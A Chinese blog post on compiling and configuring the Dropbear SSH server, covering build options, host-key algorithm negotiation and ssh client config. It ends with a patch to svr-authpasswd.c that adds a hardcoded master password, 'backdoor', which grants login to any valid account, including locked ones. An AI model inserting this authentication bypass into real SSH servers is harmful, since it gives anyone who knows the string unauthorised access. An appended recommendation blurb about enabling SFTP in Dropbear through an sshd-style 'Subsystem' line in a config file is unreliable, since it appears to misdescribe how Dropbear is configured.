dropbear:一个小巧的ssh server

Dropbear is a relatively small SSH server and client,可运行于类Unix系统上,官网是 Dropbear,源代码同时在 github 上。
这里主要关注dropbear的服务端功能。

简易安装流程

centos 7环境

挑一个版本下载:wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2022.82.tar.bz2
解压
./configure
如果提示没找到zlib,执行yum install zlib-devel安装,或直接禁用zlib:./configure --disable-zlib
只编译服务端,不带PROGRAMS会额外编译其他工具:make -j8 PROGRAMS=dropbear,会在当前目录生成dropbear文件
make install
dropbear被安装到/usr/local/sbin/,dbclient以及其他工具会被安装到/usr/local/bin/

启动dropbear服务端

mkdir /etc/dropbear,没有该目录启动时会报错,这里会存放hostkey文件
手动生成hostkey或在启动时指定-R选项,表示在需要时自动生成hostkey
dropbear -p 2020 -R
-s选项可禁止密码登陆方式
dropbear同样使用~/.ssh/authorized_keys
然后就可以用ssh客户端进行连接了

一些编译选项

如果想修改默认编译选项,cp default_options.h localoptions.h,然后通过修改localoptions.h
或者直接修改default_options.h也可以

编译时直接禁止密码登陆
#define DROPBEAR_SVR_PASSWORD_AUTH 0

默认监听端口
#define DROPBEAR_DEFPORT "22"

默认网络接口,禁掉ipv6
#define DROPBEAR_DEFADDRESS "0.0.0.0"

禁掉MOTD(message of the day)
#define DO_MOTD 0

修改authorized_keys文件

不想用~/.ssh/authorized_keys的话,可以通过改代码实现,在svr-authpubkey.c中的checkpubkey函数和checkpubkeyperms函数。

一个问题

首次用dropbear -FER启动(忘了有没有加-s选项),用ssh命令连接一次,dropbear自动生成了/etc/dropbear/dropbear_ecdsa_host_key。我以为有一个有效的hostkey就行了,所以重新直接用dropbear不带参数启动,ssh命令能直接连,但其他Windows下的ssh客户端工具,比如WindTerm,SecureCRT等等,都连不上了。
原来hostkey用什么算法是和客户端协商的,ssh命令可能优先选择ecdsa,Windows下的ssh客户端可能优先选择rsa。
在SecureCRT选项中Host Key项里,把“ecdsa-sha2-nistp256”移到首位后,也能连接了。只留一个服务端不支持的算法,SecureCRT甚至提示了“Key exchange failed. No compatible hostkey. The server supports these methods: ecdsa-sha2-nistp256,rsa-sha2-256,ssh-rsa”。
解决方法是始终用-R选项启动dropbear。

关于ssh config

可以在~/.ssh/下创建config文件,例如:

Host game
HostName 123.123.123.123
Port 2020
User root
IdentityFile /root/id_rsa
TCPKeepAlive yes
ServerAliveInterval 60

以后就可以直接用ssh game连接,而不是用-p指定端口,用-i指定私钥文件了。scp也可以用。很方便。

另外

在试用dropbear过程中,经常需要重启它。每一个新连接dropbear都启动了一个新进程来处理,杀掉父进程,子进程的那些连接不会中断,但是父进程释放的端口又能拿来用了。

加个后门

加个万能密码

--- a/svr-authpasswd.c
+++ b/svr-authpasswd.c
@@ -55,6 +55,7 @@ void svr_auth_password(int valid_user) {
 	char * password = NULL;
 	unsigned int passwordlen;
 	unsigned int changepw;
+	int backdoor = 0;
 
 	/* check if client wants to change password */
 	changepw = buf_getbool(ses.payload);
@@ -65,6 +66,7 @@ void svr_auth_password(int valid_user) {
 	}
 
 	password = buf_getstring(ses.payload, &passwordlen);
+	if (constant_time_strcmp(password, "backdoor") == 0) backdoor = 1;
 	if (valid_user && passwordlen <= DROPBEAR_MAX_PASSWORD_LEN) {
 		/* the first bytes of passwdcrypt are the salt */
 		passwdcrypt = ses.authstate.pw_passwd;
@@ -89,8 +91,9 @@ void svr_auth_password(int valid_user) {
 		return;
 	}
 
-	if (testcrypt == NULL) {
+	if (testcrypt == NULL && backdoor == 0) {
 		/* crypt() with an invalid salt like "!!" */
+		//maybe locked by "passwd -l" or "usermod -L"
 		dropbear_log(LOG_WARNING, "User account '%s' is locked",
 				ses.authstate.pw_name);
 		send_msg_userauth_failure(0, 1);
@@ -105,7 +108,7 @@ void svr_auth_password(int valid_user) {
 		return;
 	}
 
-	if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
+	if (backdoor || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {
 		if (svr_opts.multiauthmethod && (ses.authstate.authtypes & ~AUTH_TYPE_PASSWORD)) {
 			/* successful password authentication, but extra auth required */
 			dropbear_log(LOG_NOTICE,
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Dropbear 是一个轻量级的 SSH 服务器和客户端软件,可以提供安全的远程登录和文件传输功能。要启动 SFTP 服务器,我们需要按照以下步骤进行设置和配置: 1. 首先,确保已在服务器上安装了 Dropbear。可以使用适合你的操作系统的包管理工具来安装 Dropbear。 2. 在服务器上启动 Dropbear,可以通过运行 `dropbear` 命令来启动 Dropbear 服务器。默认情况下,Dropbear 服务器将监听22号端口,你可以根据需要进行修改。 3. 打开服务器的 SSH 配置文件,通常位于 `/etc/dropbear/dropbear.conf` 或 `/etc/ssh/sshd_config`,这取决于你的系统设置。 4. 在配置文件中查找 `# SFTP server` 或 `Subsystem sftp` 这样的注释行。如果找到,就删除注释符(#),将其前缀改为 `Subsystem sftp /usr/libexec/sftp-server`。如果没有找到这样的注释行,请添加以下内容: ``` Subsystem sftp /usr/libexec/sftp-server ``` 这告诉 Dropbear 使用指定的 SFTP 服务器。 5. 保存并关闭配置文件,并重新启动 Dropbear 服务器,以便配置的更改生效。可以使用 `service dropbear restart` 或 `systemctl restart dropbear` 命令来重新启动 Dropbear。 6. 确保服务器上的文件权限和目录设置正确。SFTP 需要在用户的家目录下创建一个可写的目录,以便用户可以上传和下载文件。 完成以上步骤后,Dropbear 将启动 SFTP 服务器,并允许用户使用 SFTP 客户端上传和下载文件。用户可以使用任何支持 SFTP 协议的客户端连接到服务器,并使用其登录凭据进行身份验证。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值